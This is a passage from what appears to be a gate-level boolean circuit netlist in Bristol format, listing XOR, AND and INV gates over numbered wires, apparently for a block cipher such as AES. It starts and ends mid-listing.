+2 1 2371 2323 2326 XOR +2 1 2325 2326 2436 XOR +1 1 2436 34579 INV +2 1 34579 1042 36900 XOR +2 1 11391 11392 11703 XOR +2 1 11703 11650 36322 XOR +2 1 36322 1227 34458 XOR +2 1 34456 34458 2575 XOR +2 1 34467 2620 2699 XOR +2 1 2714 2699 2695 AND +2 1 2695 2619 2623 XOR +2 1 2249 2279 2243 AND +2 1 2242 2243 2211 XOR +2 1 2211 2217 34570 XOR +2 1 2239 2211 2219 XOR +2 1 2243 2234 2195 XOR +2 1 2195 2196 2299 XOR +1 1 2299 34566 INV +2 1 2240 2219 2178 XOR +2 1 2207 2178 34573 XOR +2 1 34570 1147 36795 XOR +2 1 34573 1144 36798 XOR +2 1 34566 1151 36791 XOR +2 1 34458 34460 2481 XOR +2 1 2481 34459 2440 XOR +2 1 34454 2440 2570 XOR +2 1 2570 34454 2556 AND +1 1 2438 34575 INV +2 1 34575 1046 36896 XOR +2 1 34574 1047 36895 XOR +2 1 11488 11489 36330 XOR +2 1 36330 1219 34466 XOR +2 1 34464 34466 2715 XOR +2 1 2619 2715 2700 XOR +2 1 2715 2700 2691 AND +2 1 34466 34469 2713 XOR +2 1 2618 2713 2705 XOR +2 1 34462 2705 2704 XOR +2 1 2713 2636 2709 XOR +2 1 2705 2709 2698 AND +2 1 2258 2290 2235 AND +2 1 2235 2219 2184 XOR +1 1 2184 2181 INV +2 1 2181 2182 34568 XOR +2 1 34568 1149 36793 XOR +2 1 34456 2478 2480 XOR +2 1 34460 2480 2562 XOR +2 1 2485 2480 2561 XOR +2 1 34459 2480 2559 XOR +2 1 36332 1217 34468 XOR +2 1 34468 2620 2702 XOR +2 1 34466 34468 2621 XOR +2 1 2621 2619 2581 XOR +2 1 2713 2702 2692 AND +2 1 2618 2581 2703 XOR +2 1 2712 2703 2690 AND +2 1 34462 34468 2625 XOR +2 1 2619 2625 2708 XOR +2 1 2625 2620 2701 XOR +2 1 2708 2701 2693 AND +2 1 2621 34467 2580 XOR +2 1 34462 2580 2710 XOR +2 1 2710 34462 2696 AND +2 1 2690 2696 2648 XOR +2 1 2648 2619 2635 XOR +2 1 2692 2620 2622 XOR +2 1 2691 2692 2594 XOR +2 1 2594 2595 2642 XOR +2 1 2642 2623 2641 XOR +2 1 34467 2625 2711 XOR +2 1 34463 2711 2707 XOR +2 1 2711 2707 2694 AND +2 1 2694 2641 2688 XOR +2 1 2636 2708 2706 XOR +2 1 2706 2704 2697 AND +2 1 2690 2693 2644 XOR +2 1 2623 2644 2597 XOR +2 1 2597 2622 2687 XOR +2 1 2698 2621 2624 XOR +2 1 2624 2622 2628 XOR +2 1 34469 2628 2634 XOR +2 1 2628 2648 2596 XOR +2 1 34467 2596 2640 XOR +2 1 2691 2697 2643 XOR +2 1 2643 2635 2686 XOR +2 1 2643 2634 2689 XOR +2 1 2689 2688 2685 AND +2 1 2685 2687 2684 XOR +2 1 2686 2684 2683 AND +2 1 2685 2640 2680 XOR +2 1 2683 2640 2682 XOR +2 1 2682 2701 2661 AND +2 1 2682 2708 2652 AND +2 1 2683 2634 2585 XOR +2 1 2683 2695 2588 XOR +2 1 2588 2624 2584 XOR +2 1 34467 2584 2583 XOR +2 1 34469 2584 2587 XOR +2 1 2691 2644 2638 XOR +2 1 2694 2638 2593 XOR +2 1 34463 2593 2681 XOR +2 1 2680 2681 2679 AND +2 1 2679 2638 2592 XOR +2 1 2679 2696 2591 XOR +2 1 2591 2693 2586 XOR +2 1 2586 2587 2670 XOR +2 1 2670 2702 2660 AND +2 1 2670 2713 2651 AND +2 1 2685 2679 2677 XOR +2 1 2687 2677 2676 AND +2 1 2676 2694 2647 XOR +2 1 34463 2647 2629 XOR +2 1 2629 2592 2675 XOR +2 1 2675 2704 2665 AND +2 1 2647 2641 2668 XOR +2 1 2676 2684 2674 XOR +2 1 2682 2674 2673 AND +2 1 2673 2697 2590 XOR +2 1 2629 2590 2582 XOR +2 1 2619 2582 2589 XOR +2 1 2582 2583 2667 XOR +2 1 2667 2700 2659 AND +2 1 2659 2660 2610 XOR +2 1 2667 2715 2650 AND +2 1 2650 2651 2645 XOR +2 1 2675 2706 2656 AND +2 1 2656 2645 2626 XOR +2 1 2668 2709 2657 AND +2 1 2657 2626 2627 XOR +2 1 2673 2643 2633 XOR +2 1 2633 2585 2669 XOR +2 1 2669 2714 2654 AND +2 1 2669 2699 2663 AND +2 1 2663 2654 2615 XOR +2 1 2633 2635 2672 XOR +2 1 2672 2707 2653 AND +2 1 2672 2711 2662 AND +2 1 2662 2663 2631 XOR +2 1 2659 2662 2614 XOR +1 1 2614 2611 INV +2 1 2659 2631 2639 XOR +2 1 2660 2639 2598 XOR +2 1 2627 2598 34597 XOR +2 1 34597 1088 36854 XOR +2 1 2661 2662 2599 XOR +2 1 2586 2589 2671 XOR +2 1 2671 2712 2649 AND +2 1 2671 2703 2658 AND +2 1 2654 2658 2630 XOR +1 1 2630 2608 INV +2 1 2608 2652 2607 XOR +2 1 2660 2649 2609 XOR +1 1 2609 2605 INV +2 1 2668 2705 2666 AND +2 1 2665 2627 2632 XOR +2 1 2666 2632 2637 XOR +2 1 2637 2610 2717 XOR +2 1 2631 2637 34594 XOR +2 1 34594 1091 36851 XOR +1 1 2717 34596 INV +2 1 34596 1089 36853 XOR +2 1 2661 2653 2617 XOR +2 1 2617 2645 2613 XOR +2 1 2608 2613 2612 XOR +2 1 2611 2612 2718 XOR +1 1 2718 34591 INV +2 1 34591 1094 36848 XOR +2 1 2679 2687 2678 XOR +2 1 2678 2710 2655 AND +2 1 2655 2639 2604 XOR +1 1 2604 2601 INV +2 1 2678 34462 2664 AND +2 1 2664 2632 2600 XOR +2 1 2664 2666 2646 XOR +2 1 2607 2646 2603 XOR +2 1 2651 2603 2606 XOR +2 1 2599 2600 34593 XOR +2 1 2605 2606 2716 XOR +2 1 2646 2613 2616 XOR +2 1 2615 2616 2719 XOR +1 1 2719 34590 INV +2 1 34590 1095 36847 XOR +2 1 2626 2603 2602 XOR +2 1 2601 2602 34592 XOR +2 1 34592 1093 36849 XOR +1 1 2716 34595 INV +2 1 34593 1092 36850 XOR +2 1 34595 1090 36852 XOR +2 1 27576 27577 27479 XOR +2 1 27479 27480 27526 XOR +2 1 27526 27508 27525 XOR +2 1 27579 27525 27573 XOR +2 1 27574 27573 27570 AND +2 1 27570 27524 27565 XOR +2 1 27565 27566 27564 AND +2 1 27564 27581 27476 XOR +2 1 27476 27578 27471 XOR +2 1 27564 27572 27563 XOR +2 1 27563 27595 27540 AND +2 1 27570 27564 27562 XOR +2 1 27564 27522 27477 XOR +2 1 27563 34318 27549 AND +2 1 27572 27562 27561 AND +2 1 27570 27572 27569 XOR +2 1 27571 27569 27568 AND +2 1 27568 27524 27567 XOR +2 1 27567 27586 27546 AND +2 1 27568 27518 27470 XOR +2 1 27561 27569 27559 XOR +2 1 27567 27559 27558 AND +2 1 27558 27582 27475 XOR +2 1 27558 27527 27517 XOR +2 1 27517 27519 27557 XOR +2 1 27557 27596 27547 AND +2 1 27546 27547 27484 XOR +2 1 27517 27470 27554 XOR +2 1 27554 27584 27548 AND +2 1 27554 27599 27539 AND +2 1 27548 27539 27500 XOR +2 1 27547 27548 27533 XOR +2 1 27567 27593 27537 AND +2 1 27557 27592 27538 AND +2 1 27546 27538 27502 XOR +2 1 27568 27580 27473 XOR +2 1 27473 27509 27469 XOR +2 1 34323 27469 27468 XOR +2 1 34325 27469 27472 XOR +2 1 27471 27472 27555 XOR +2 1 27555 27587 27545 AND +2 1 27555 27598 27536 AND +2 1 27561 27579 27531 XOR +2 1 27531 27525 27553 XOR +2 1 27553 27594 27542 AND +2 1 27553 27590 27551 AND +2 1 27549 27551 27530 XOR +2 1 34319 27531 27514 XOR +2 1 27514 27477 27560 XOR +2 1 27560 27589 27550 AND +2 1 27560 27591 27541 AND +2 1 27514 27475 27467 XOR +2 1 27467 27468 27552 XOR +2 1 27552 27585 27544 AND +2 1 27552 27600 27535 AND +2 1 27535 27536 27529 XOR +2 1 27541 27529 27511 XOR +2 1 27542 27511 27512 XOR +2 1 27544 27547 27499 XOR +1 1 27499 27496 INV +2 1 27502 27529 27498 XOR +2 1 27550 27512 27516 XOR +2 1 27551 27516 27521 XOR +2 1 27533 27521 36461 XOR +2 1 36456 36461 11684 XOR +2 1 11690 11684 36394 XOR +2 1 27549 27516 27485 XOR +2 1 27484 27485 36460 XOR +2 1 36460 11423 11422 XOR +2 1 11684 11653 11600 XOR +2 1 11630 36461 11616 XOR +2 1 11615 11616 36370 XOR +2 1 36370 1179 34506 XOR +2 1 36460 36464 11638 XOR +2 1 11706 11638 36369 XOR +2 1 36369 1180 34505 XOR +2 1 11638 11636 11577 XOR +2 1 11577 11578 11576 XOR +1 1 11576 36393 INV +2 1 36393 1156 34529 XOR +2 1 11684 11638 11589 XOR +2 1 32854 11600 36379 XOR +2 1 36379 1170 34515 XOR +2 1 36394 1155 34530 XOR +2 1 27544 27545 27495 XOR +2 1 27530 27498 27501 XOR +2 1 27500 27501 27604 XOR +1 1 27604 33116 INV +2 1 32849 33116 11370 XOR +2 1 32830 33116 11681 XOR +2 1 33116 11428 36366 XOR +2 1 11681 11648 11606 XOR +2 1 11681 11618 11583 XOR +2 1 32849 11583 36390 XOR +2 1 36390 1159 34526 XOR +2 1 27521 27495 27602 XOR +1 1 27602 33114 INV +2 1 33114 11611 36372 XOR +2 1 36372 1177 34508 XOR +2 1 34506 34508 3180 XOR +2 1 32847 33114 11585 XOR +2 1 36366 1183 34502 XOR +2 1 34502 34508 3184 XOR +2 1 36457 33114 11683 XOR +2 1 11683 32855 11573 XOR +2 1 11573 11574 36396 XOR +2 1 36396 1153 34532 XOR +2 1 34530 34532 3320 XOR +2 1 34526 34532 3324 XOR +2 1 11683 11618 11594 XOR +2 1 36458 11594 36381 XOR +2 1 36381 1168 34517 XOR +2 1 34515 34517 32400 XOR +2 1 27544 27533 27523 XOR +2 1 27545 27523 27483 XOR +2 1 27540 27523 27489 XOR +1 1 27489 27486 INV +2 1 27512 27483 36462 XOR +2 1 36462 10386 11610 XOR +2 1 36462 36466 11633 XOR +2 1 11681 11633 11593 XOR +2 1 11633 32857 11369 XOR +2 1 11369 11370 11713 XOR +2 1 11633 36469 11590 XOR +2 1 11589 11590 36386 XOR +2 1 36386 1163 34522 XOR +2 1 11609 11610 36373 XOR +2 1 36373 1176 34509 XOR +2 1 34506 34509 3272 XOR +2 1 36458 36462 11619 XOR +2 1 11641 11619 11572 XOR +2 1 36466 11572 36397 XOR +2 1 36397 1152 34533 XOR +2 1 34530 34533 3411 XOR +2 1 11619 36470 11584 XOR +2 1 11584 11585 36389 XOR +2 1 11668 11619 11608 XOR +2 1 32830 11608 36374 XOR +2 1 36374 1175 34510 XOR +2 1 36389 1160 34525 XOR +2 1 34522 34525 32215 XOR +2 1 32858 11593 36382 XOR +2 1 11633 36463 11371 XOR +2 1 27504 27467 27474 XOR +2 1 27471 27474 27556 XOR +2 1 27556 27588 27543 AND +2 1 27556 27597 27534 AND +2 1 27545 27534 27494 XOR +1 1 27494 27490 INV +2 1 36382 1167 34518 XOR +2 1 27539 27543 27515 XOR +1 1 27515 27493 INV +2 1 27493 27498 27497 XOR +2 1 27496 27497 27603 XOR +1 1 27603 33115 INV +2 1 32829 33115 11673 XOR +2 1 32858 33115 11384 XOR +2 1 11383 11384 11707 XOR +2 1 11713 11673 36383 XOR +2 1 11673 11636 11604 XOR +2 1 36454 11604 36376 XOR +2 1 36376 1173 34512 XOR +2 1 34517 34512 32492 XOR +1 1 11673 11582 INV +2 1 11582 11668 11580 XOR +2 1 11580 11581 36391 XOR +2 1 36391 1158 34527 XOR +2 1 34533 34527 3412 XOR +2 1 34527 34529 3317 XOR +2 1 3317 3411 3403 XOR +2 1 34526 3403 3402 XOR +2 1 32848 33115 11592 XOR +2 1 11707 11648 36367 XOR +2 1 36367 1182 34503 XOR +2 1 34509 34503 3273 XOR +2 1 34503 34505 3177 XOR +2 1 3177 3272 3264 XOR +2 1 34502 3264 3263 XOR +2 1 27493 27537 27492 XOR +2 1 27492 27530 27488 XOR +2 1 27536 27488 27491 XOR +2 1 27490 27491 27601 XOR +1 1 27601 33113 INV +2 1 33113 36461 11588 XOR +2 1 33113 32854 11643 XOR +2 1 11643 11635 11575 XOR +2 1 32834 11575 36395 XOR +2 1 11641 33113 11596 XOR +2 1 11596 11597 11595 XOR +1 1 11643 11614 INV +2 1 11614 32855 11612 XOR +2 1 11612 11613 36371 XOR +2 1 36395 1154 34531 XOR +2 1 34531 3324 3409 XOR +2 1 3320 34531 3279 XOR +2 1 11587 11588 36387 XOR +2 1 36387 1162 34523 XOR +2 1 34523 34525 32122 XOR +1 1 11595 36380 INV +2 1 36380 1169 34516 XOR +2 1 34510 34516 32406 XOR +2 1 32400 32406 32488 XOR +2 1 34515 32406 32491 XOR +2 1 34527 3409 3405 XOR +2 1 3409 3405 3392 AND +2 1 36371 1178 34507 XOR +2 1 34507 34509 3178 XOR +2 1 34507 3184 3270 XOR +2 1 3180 34507 3139 XOR +2 1 3178 3184 3267 XOR +2 1 3180 3178 3140 XOR +2 1 34502 3139 3269 XOR +2 1 3269 34502 3255 AND +2 1 34531 34533 3318 XOR +2 1 3320 3318 3280 XOR +2 1 34526 3279 3408 XOR +2 1 3408 34526 3394 AND +2 1 34503 3270 3266 XOR +2 1 3270 3266 3253 AND +2 1 27511 27488 27487 XOR +2 1 27486 27487 36459 XOR +2 1 32857 36459 11427 XOR +2 1 11426 11427 36368 XOR +2 1 36460 36459 11372 XOR +2 1 36368 1181 34504 XOR +2 1 34503 34504 3195 XOR +2 1 34504 3177 3179 XOR +2 1 3195 3267 3265 XOR +2 1 3265 3263 3256 AND +2 1 34504 34506 3274 XOR +2 1 3184 3179 3260 XOR +2 1 3272 3195 3268 XOR +2 1 3264 3268 3257 AND +2 1 3257 3180 3183 XOR +2 1 34509 34504 3271 XOR +2 1 34508 3179 3261 XOR +2 1 3272 3261 3251 AND +2 1 3251 3179 3181 XOR +2 1 3183 3181 3187 XOR +2 1 34509 3187 3193 XOR +2 1 11371 11372 11712 XOR +2 1 3178 3274 3259 XOR +2 1 3274 3259 3250 AND +2 1 3250 3251 3153 XOR +2 1 3250 3256 3202 XOR +2 1 3202 3193 3248 XOR +2 1 34507 3179 3258 XOR +2 1 3273 3258 3254 AND +2 1 3254 3178 3182 XOR +2 1 34505 34504 3154 XOR +2 1 3153 3154 3201 XOR +2 1 3201 3182 3200 XOR +2 1 3253 3200 3247 XOR +2 1 3248 3247 3244 AND +2 1 3267 3260 3252 AND +2 1 36454 36459 11658 XOR +2 1 11658 36467 11591 XOR +2 1 11658 11648 11579 XOR +2 1 11658 11644 11603 XOR +1 1 11603 11601 INV +2 1 11591 11592 36384 XOR +2 1 36384 1165 34520 XOR +2 1 34520 34522 32217 XOR +2 1 32122 32217 32202 XOR +2 1 34525 34520 32214 XOR +2 1 32217 32202 32193 AND +2 1 3318 3324 3406 XOR +2 1 3177 3140 3262 XOR +2 1 3271 3262 3249 AND +2 1 3249 3252 3203 XOR +2 1 3182 3203 3156 XOR +2 1 3250 3203 3197 XOR +2 1 3249 3255 3207 XOR +2 1 3207 3178 3194 XOR +2 1 3187 3207 3155 XOR +2 1 3156 3181 3246 XOR +2 1 3244 3246 3243 XOR +2 1 34507 3155 3199 XOR +2 1 3244 3199 3239 XOR +2 1 3253 3197 3152 XOR +2 1 34503 3152 3240 XOR +2 1 3239 3240 3238 AND +2 1 3238 3197 3151 XOR +2 1 3238 3246 3237 XOR +2 1 3237 3269 3214 AND +2 1 3237 34502 3223 AND +2 1 3238 3255 3150 XOR +2 1 3150 3252 3145 XOR +2 1 11683 11643 11586 XOR +2 1 32856 11586 36388 XOR +2 1 36388 1161 34524 XOR +2 1 34522 34524 32124 XOR +2 1 34518 34524 32128 XOR +2 1 32122 32128 32210 XOR +2 1 34523 32128 32213 XOR +2 1 32124 32122 32084 XOR +2 1 32124 34523 32083 XOR +2 1 34518 32083 32212 XOR +2 1 32212 34518 32198 AND +2 1 36383 1166 34519 XOR +2 1 34519 32213 32209 XOR +2 1 34519 34520 32138 XOR +2 1 32215 32138 32211 XOR +2 1 34525 34519 32216 XOR +2 1 32213 32209 32196 AND +2 1 32138 32210 32208 XOR +2 1 3317 3280 3401 XOR +2 1 36463 11579 36392 XOR +2 1 36392 1157 34528 XOR +2 1 34529 34528 3294 XOR +2 1 34528 3317 3319 XOR +2 1 34527 34528 3334 XOR +2 1 3411 3334 3407 XOR +2 1 3334 3406 3404 XOR +2 1 3404 3402 3395 AND +2 1 34533 34528 3410 XOR +2 1 3403 3407 3396 AND +2 1 3396 3320 3323 XOR +2 1 34531 3319 3397 XOR +2 1 3324 3319 3399 XOR +2 1 3406 3399 3391 AND +2 1 34532 3319 3400 XOR +2 1 3411 3400 3390 AND +2 1 3390 3319 3321 XOR +2 1 3323 3321 3327 XOR +2 1 34533 3327 3332 XOR +2 1 3410 3401 3388 AND +2 1 3388 3394 3346 XOR +2 1 3327 3346 3295 XOR +2 1 34531 3295 3338 XOR +2 1 3346 3318 3333 XOR +2 1 3388 3391 3342 XOR +2 1 3412 3397 3393 AND +2 1 3393 3318 3322 XOR +2 1 3322 3342 3296 XOR +2 1 3296 3321 3385 XOR +2 1 3202 3194 3245 XOR +2 1 3245 3243 3242 AND +2 1 3242 3193 3144 XOR +2 1 3242 3254 3147 XOR +2 1 3242 3199 3241 XOR +2 1 3241 3260 3220 AND +2 1 3241 3267 3211 AND +2 1 3147 3183 3143 XOR +2 1 34507 3143 3142 XOR +2 1 34509 3143 3146 XOR +2 1 3145 3146 3229 XOR +2 1 3229 3272 3210 AND +2 1 3229 3261 3219 AND +2 1 11712 11644 36385 XOR +2 1 36385 1164 34521 XOR +2 1 34521 34520 32098 XOR +2 1 34519 34521 32121 XOR +2 1 32121 32084 32205 XOR +2 1 32214 32205 32192 AND +2 1 32192 32198 32150 XOR +2 1 32150 32122 32137 XOR +2 1 32121 32215 32207 XOR +2 1 32207 32211 32200 AND +2 1 32200 32124 32127 XOR +2 1 34518 32207 32206 XOR +2 1 32208 32206 32199 AND +2 1 32193 32199 32145 XOR +2 1 32145 32137 32188 XOR +2 1 34520 32121 32123 XOR +2 1 34523 32123 32201 XOR +2 1 32216 32201 32197 AND +2 1 32197 32122 32126 XOR +2 1 34524 32123 32204 XOR +2 1 32215 32204 32194 AND +2 1 32193 32194 32097 XOR +2 1 32194 32123 32125 XOR +2 1 32097 32098 32144 XOR +2 1 32128 32123 32203 XOR +2 1 32210 32203 32195 AND +2 1 32192 32195 32146 XOR +2 1 32193 32146 32140 XOR +2 1 32196 32140 32096 XOR +2 1 34519 32096 32183 XOR +2 1 32126 32146 32100 XOR +2 1 32100 32125 32189 XOR +2 1 32144 32126 32143 XOR +2 1 32196 32143 32190 XOR +2 1 32127 32125 32131 XOR +2 1 32131 32150 32099 XOR +2 1 34525 32131 32136 XOR +2 1 32145 32136 32191 XOR +2 1 32191 32190 32187 AND +2 1 32187 32189 32186 XOR +2 1 32188 32186 32185 AND +2 1 32185 32136 32088 XOR +2 1 32185 32197 32091 XOR +2 1 32091 32127 32087 XOR +2 1 34525 32087 32090 XOR +2 1 34523 32087 32086 XOR +2 1 34523 32099 32142 XOR +2 1 32185 32142 32184 XOR +2 1 32184 32203 32163 AND +2 1 32184 32210 32154 AND +2 1 32187 32142 32182 XOR +2 1 32182 32183 32181 AND +2 1 32181 32198 32094 XOR +2 1 32094 32195 32089 XOR +2 1 32187 32181 32179 XOR +2 1 32189 32179 32178 AND +2 1 32089 32090 32172 XOR +2 1 32172 32215 32153 AND +2 1 32172 32204 32162 AND +2 1 32181 32189 32180 XOR +2 1 32180 32212 32157 AND +2 1 32178 32186 32176 XOR +2 1 32184 32176 32175 AND +2 1 32175 32145 32135 XOR +2 1 32175 32199 32093 XOR +2 1 32135 32137 32174 XOR +2 1 32174 32213 32164 AND +2 1 32163 32164 32102 XOR +2 1 32174 32209 32155 AND +2 1 32163 32155 32120 XOR +2 1 32135 32088 32171 XOR +2 1 32171 32201 32165 AND +2 1 32164 32165 32728 XOR +2 1 32171 32216 32156 AND +2 1 32165 32156 32118 XOR +2 1 32181 32140 32095 XOR +2 1 32180 34518 32166 AND +2 1 32178 32196 32149 XOR +2 1 32149 32143 32170 XOR +2 1 32170 32207 32168 AND +2 1 32166 32168 32148 XOR +2 1 32170 32211 32159 AND +2 1 34519 32149 32132 XOR +2 1 32132 32095 32177 XOR +2 1 32177 32208 32158 AND +2 1 32177 32206 32167 AND +2 1 32132 32093 32085 XOR +2 1 32085 32086 32169 XOR +2 1 32169 32202 32161 AND +2 1 32161 32162 32113 XOR +2 1 32161 32728 32141 XOR +2 1 32162 32141 32101 XOR +2 1 32169 32217 32152 AND +2 1 32152 32153 32147 XOR +2 1 32157 32141 32107 XOR +1 1 32107 32104 INV +2 1 32120 32147 32116 XOR +2 1 32158 32147 32129 XOR +2 1 32159 32129 32130 XOR +2 1 32167 32130 32134 XOR +2 1 32130 32101 34653 XOR +2 1 32168 32134 32139 XOR +2 1 34653 1128 36814 XOR +2 1 32148 32116 32119 XOR +2 1 32118 32119 32221 XOR +1 1 32221 34646 INV +2 1 34646 1135 36807 XOR +2 1 32728 32139 34650 XOR +2 1 34650 1131 36811 XOR +2 1 32161 32164 32117 XOR +1 1 32117 32114 INV +2 1 32122 32085 32092 XOR +2 1 32089 32092 32173 XOR +2 1 32173 32214 32151 AND +2 1 32173 32205 32160 AND +2 1 32156 32160 32133 XOR +2 1 32162 32151 32112 XOR +1 1 32112 32108 INV +1 1 32133 32111 INV +2 1 32111 32116 32115 XOR +2 1 32111 32154 32110 XOR +2 1 32110 32148 32106 XOR +2 1 32129 32106 32105 XOR +2 1 32104 32105 34648 XOR +2 1 34648 1133 36809 XOR +2 1 32114 32115 32220 XOR +1 1 32220 34647 INV +2 1 34647 1134 36808 XOR +2 1 32153 32106 32109 XOR +2 1 32108 32109 32218 XOR +1 1 32218 34651 INV +2 1 34651 1130 36812 XOR +2 1 32166 32134 32103 XOR +2 1 32139 32113 32219 XOR +1 1 32219 34652 INV +2 1 34652 1129 36813 XOR +2 1 32102 32103 34649 XOR +2 1 34649 1132 36810 XOR +2 1 3244 3238 3236 XOR +2 1 3246 3236 3235 AND +2 1 3235 3243 3233 XOR +2 1 3241 3233 3232 AND +2 1 3232 3256 3149 XOR +2 1 3232 3202 3192 XOR +2 1 3192 3144 3228 XOR +2 1 3228 3273 3213 AND +2 1 3192 3194 3231 XOR +2 1 3231 3266 3212 AND +2 1 3231 3270 3221 AND +2 1 3220 3212 3176 XOR +2 1 3235 3253 3206 XOR +2 1 34503 3206 3188 XOR +2 1 3188 3151 3234 XOR +2 1 3234 3263 3224 AND +2 1 3234 3265 3215 AND +2 1 3206 3200 3227 XOR +2 1 3227 3264 3225 AND +2 1 3227 3268 3216 AND +2 1 3228 3258 3222 AND +2 1 3223 3225 3205 XOR +2 1 3220 3221 3158 XOR +2 1 3221 3222 3190 XOR +2 1 3188 3149 3141 XOR +2 1 3141 3142 3226 XOR +2 1 3226 3259 3218 AND +2 1 3218 3221 3173 XOR +1 1 3173 3170 INV +2 1 3218 3190 3198 XOR +2 1 3214 3198 3163 XOR +2 1 3219 3198 3157 XOR +2 1 3226 3274 3209 AND +2 1 3209 3210 3204 XOR +2 1 3176 3204 3172 XOR +2 1 3205 3172 3175 XOR +2 1 3215 3204 3185 XOR +2 1 3216 3185 3186 XOR +2 1 3224 3186 3191 XOR +2 1 3225 3191 3196 XOR +2 1 3186 3157 34637 XOR +2 1 3190 3196 34634 XOR +2 1 34634 1083 36859 XOR +1 1 3163 3160 INV +2 1 3223 3191 3159 XOR +2 1 34637 1080 36862 XOR +2 1 3178 3141 3148 XOR +2 1 3145 3148 3230 XOR +2 1 3230 3262 3217 AND +2 1 3230 3271 3208 AND +2 1 3219 3208 3168 XOR +1 1 3168 3164 INV +2 1 3213 3217 3189 XOR +1 1 3189 3167 INV +2 1 3167 3172 3171 XOR +2 1 3170 3171 3277 XOR +1 1 3277 34631 INV +2 1 34631 1086 36856 XOR +2 1 3167 3211 3166 XOR +2 1 3166 3205 3162 XOR +2 1 3185 3162 3161 XOR +2 1 3158 3159 34633 XOR +2 1 34633 1084 36858 XOR +2 1 3218 3219 3169 XOR +2 1 3196 3169 3276 XOR +2 1 3210 3162 3165 XOR +2 1 3164 3165 3275 XOR +1 1 3275 34635 INV +2 1 34635 1082 36860 XOR +1 1 3276 34636 INV +2 1 34636 1081 36861 XOR +2 1 3160 3161 34632 XOR +2 1 34632 1085 36857 XOR +2 1 3222 3213 3174 XOR +2 1 3174 3175 3278 XOR +1 1 3278 34630 INV +2 1 34630 1087 36855 XOR +2 1 36434 11501 36325 XOR +2 1 36325 1224 34461 XOR +2 1 34459 34461 2479 XOR +2 1 34461 34455 2574 XOR +2 1 34458 34461 2573 XOR +2 1 2574 2559 2555 AND +2 1 2573 2562 2552 AND +2 1 2555 2479 2483 XOR +2 1 2479 2575 2560 XOR +2 1 2573 2495 2569 XOR +2 1 2552 2480 2482 XOR +2 1 34461 34456 2572 XOR +2 1 2481 2479 2441 XOR +2 1 2575 2560 2551 AND +2 1 2551 2552 2454 XOR +2 1 2454 2455 2501 XOR +2 1 2501 2483 2500 XOR +2 1 2554 2500 2548 XOR +2 1 2479 2485 2568 XOR +2 1 2495 2568 2566 XOR +2 1 2478 2441 2563 XOR +2 1 2572 2563 2550 AND +2 1 2478 2573 2565 XOR +2 1 2565 2569 2558 AND +2 1 2558 2481 2484 XOR +2 1 2484 2482 2488 XOR +2 1 34461 2488 2493 XOR +2 1 2568 2561 2553 AND +2 1 2550 2553 2503 XOR +2 1 2483 2503 2457 XOR +2 1 2457 2482 2547 XOR +2 1 2551 2503 2497 XOR +2 1 2554 2497 2453 XOR +2 1 34455 2453 2541 XOR +2 1 34454 2565 2564 XOR +2 1 2566 2564 2557 AND +2 1 2551 2557 2502 XOR +2 1 2502 2493 2549 XOR +2 1 2549 2548 2545 AND +2 1 2545 2547 2544 XOR +2 1 2550 2556 2507 XOR +2 1 2507 2479 2494 XOR +2 1 2502 2494 2546 XOR +2 1 2546 2544 2543 AND +2 1 2543 2555 2448 XOR +2 1 2448 2484 2444 XOR +2 1 34459 2444 2443 XOR +2 1 34461 2444 2447 XOR +2 1 2543 2493 2445 XOR +2 1 2488 2507 2456 XOR +2 1 34459 2456 2499 XOR +2 1 2545 2499 2540 XOR +2 1 2540 2541 2539 AND +2 1 2539 2556 2451 XOR +2 1 2539 2497 2452 XOR +2 1 2543 2499 2542 XOR +2 1 2542 2561 2521 AND +2 1 2542 2568 2512 AND +2 1 2451 2553 2446 XOR +2 1 2446 2447 2530 XOR +2 1 2530 2562 2520 AND +2 1 2530 2573 2511 AND +2 1 2539 2547 2538 XOR +2 1 2538 34454 2524 AND +2 1 2538 2570 2515 AND +2 1 2545 2539 2537 XOR +2 1 2547 2537 2536 AND +2 1 2536 2544 2534 XOR +2 1 2542 2534 2533 AND +2 1 2533 2502 2492 XOR +2 1 2492 2494 2532 XOR +2 1 2492 2445 2529 XOR +2 1 2532 2567 2513 AND +2 1 2521 2513 2477 XOR +2 1 2533 2557 2450 XOR +2 1 2529 2574 2514 AND +2 1 2536 2554 2506 XOR +2 1 34455 2506 2489 XOR +2 1 2489 2452 2535 XOR +2 1 2535 2566 2516 AND +2 1 2535 2564 2525 AND +2 1 2489 2450 2442 XOR +2 1 2479 2442 2449 XOR +2 1 2442 2443 2527 XOR +2 1 2527 2575 2510 AND +2 1 2510 2511 2504 XOR +2 1 2477 2504 2473 XOR +2 1 2516 2504 2486 XOR +2 1 2527 2560 2519 AND +2 1 2519 2520 2470 XOR +2 1 2446 2449 2531 XOR +2 1 2531 2563 2518 AND +2 1 2514 2518 2490 XOR +1 1 2490 2468 INV +2 1 2468 2473 2472 XOR +2 1 2531 2572 2509 AND +2 1 2520 2509 2469 XOR +1 1 2469 2465 INV +2 1 2468 2512 2467 XOR +2 1 2529 2559 2523 AND +2 1 2523 2514 2475 XOR +2 1 2532 2571 2522 AND +2 1 2519 2522 2474 XOR +2 1 2522 2523 2508 XOR +2 1 2519 2508 2498 XOR +2 1 2515 2498 2464 XOR +1 1 2464 2461 INV +2 1 2520 2498 2458 XOR +2 1 2521 2522 2459 XOR +1 1 2474 2471 INV +2 1 2471 2472 2578 XOR +1 1 2578 34583 INV +2 1 34583 1070 36872 XOR +2 1 2506 2500 2528 XOR +2 1 2528 2569 2517 AND +2 1 2528 2565 2526 AND +2 1 2524 2526 2505 XOR +2 1 2467 2505 2463 XOR +2 1 2511 2463 2466 XOR +2 1 2465 2466 2576 XOR +2 1 2505 2473 2476 XOR +2 1 2475 2476 2579 XOR +1 1 2579 34582 INV +2 1 34582 1071 36871 XOR +2 1 2486 2463 2462 XOR +2 1 2461 2462 34584 XOR +2 1 34584 1069 36873 XOR +1 1 2576 34587 INV +2 1 34587 1066 36876 XOR +2 1 2517 2486 2487 XOR +2 1 2525 2487 2491 XOR +2 1 2524 2491 2460 XOR +2 1 2526 2491 2496 XOR +2 1 2496 2470 2577 XOR +2 1 2459 2460 34585 XOR +2 1 34585 1068 36874 XOR +2 1 2487 2458 34589 XOR +2 1 34589 1064 36878 XOR +2 1 2508 2496 34586 XOR +2 1 34586 1067 36875 XOR +1 1 2577 34588 INV +2 1 34588 1065 36877 XOR +2 1 34608 1141 36801 XOR +2 1 34528 34530 3413 XOR +2 1 3318 3413 3398 XOR +2 1 3413 3398 3389 AND +2 1 3389 3390 3293 XOR +2 1 3389 3342 3336 XOR +2 1 3392 3336 3292 XOR +2 1 34527 3292 3379 XOR +2 1 3293 3294 3340 XOR +2 1 